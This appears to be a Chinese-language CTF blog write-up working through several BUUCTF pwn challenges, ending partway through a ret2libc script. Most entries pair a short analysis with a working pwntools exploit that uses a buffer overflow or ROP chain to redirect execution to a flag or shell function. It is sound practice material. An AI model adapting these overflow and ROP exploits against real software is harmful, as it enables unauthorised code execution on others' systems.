pwn难啊
1、test_your_nc
测试你nc,不用说,连上就有。
2、rip
ida中已经包含了system函数:
溢出,覆盖rip为fun函数,peda计算偏移为23:
from pwn import * #context.update(arch = 'i386', os = 'linux', timeout = 1) p = remote('node3.buuoj.cn',27146) #p = process('./pwn1') flag_addr = 0x40118A payload = 0xf*'a' +'a'*8 + p64(flag_addr) #print p.recv() p.sendline(payload) p.interactive()
3、warmup_csaw_2016
ida中,可以看到,存在溢出
使用peda计算偏移为72
from pwn import * #context.update(arch = 'i386', os = 'linux', timeout = 1) p = remote('node3.buuoj.cn',29050) #p = process('./warmup_csaw_2016') catflag_addr = 0x40060d payload = 'A'*72 + p64(catflag_addr) #print p.recv() p.sendline(payload) p.interactive()
4、pwn1_sctf_2016
先check一下文件
文件开启了NX。使用ida查看:
程序功能:将输入的所有的‘I’转化为you,然后输出“So,[输入]”
在fgets处,对输入的s进行了限制,不能溢出。但是在strcpy函数中,未对s进行限制,v0对输入的I进行变换后:V0长度=I的个数*3。
输入的I的长度最多为32,那么V0最长为32*3=96,远大于3C(60),可以进行溢出,需要3C+4 = 64位 = 21个‘I’ + 1个‘A’
from pwn import * #context.update(arch = 'i386', os = 'linux', timeout = 1) p = remote('node3.buuoj.cn',29641) #p = process('./pwn1_sctf_2016') #p = remote('xxxxx',xxxx) catflag_addr = 0x8048f0d payload = 21*'I' +'A'+ p32(catflag_addr) #print p.recvuntil('yourself:') p.sendline(payload) p.interactive()
5、ciscn_2019_c_1
先check一下,开启了Nx和Relro
ida中为找到system函数和‘/bin/sh’等字符,需要利用ROP和LibcSearcher库查找libc
在encrypt()函数中发现gets函数,这个是一个溢出点
可以通过溢出puts函数,泄露出puts函数的地址,找到libc,计算出system和'/bin/sh'的地址,然后执行system(‘/bin/sh’)
注意encryt()函数会修改我们的payload,所以第一位用' '避开。
偏移为:0x50+8
1 #!python 2 #coding:utf-8 3 4 from pwn import * 5 from LibcSearcher import * 6 7 context.log_level = 'debug' 8 context.arch = 'amd64' 9 10 elf = ELF('./ciscn_2019_c_1') 11 puts_got = elf.got['puts'] 12 puts_plt = elf.plt['puts'] 13 main_addr = elf.sym['main'] 14 ret = 0x4006b9 15 pop_rdi = 0x400c83 16 sh = 0 17 lib = 0 18 19 20 def main(ip,port,debug): 21 global sh 22 global lib 23 if debug == 1: 24 sh = process('./ciscn_2019_c_1') 25 else: 26 sh = remote(ip,port) 27 28 sh.sendlineafter('choice! ','1') 29 payload = '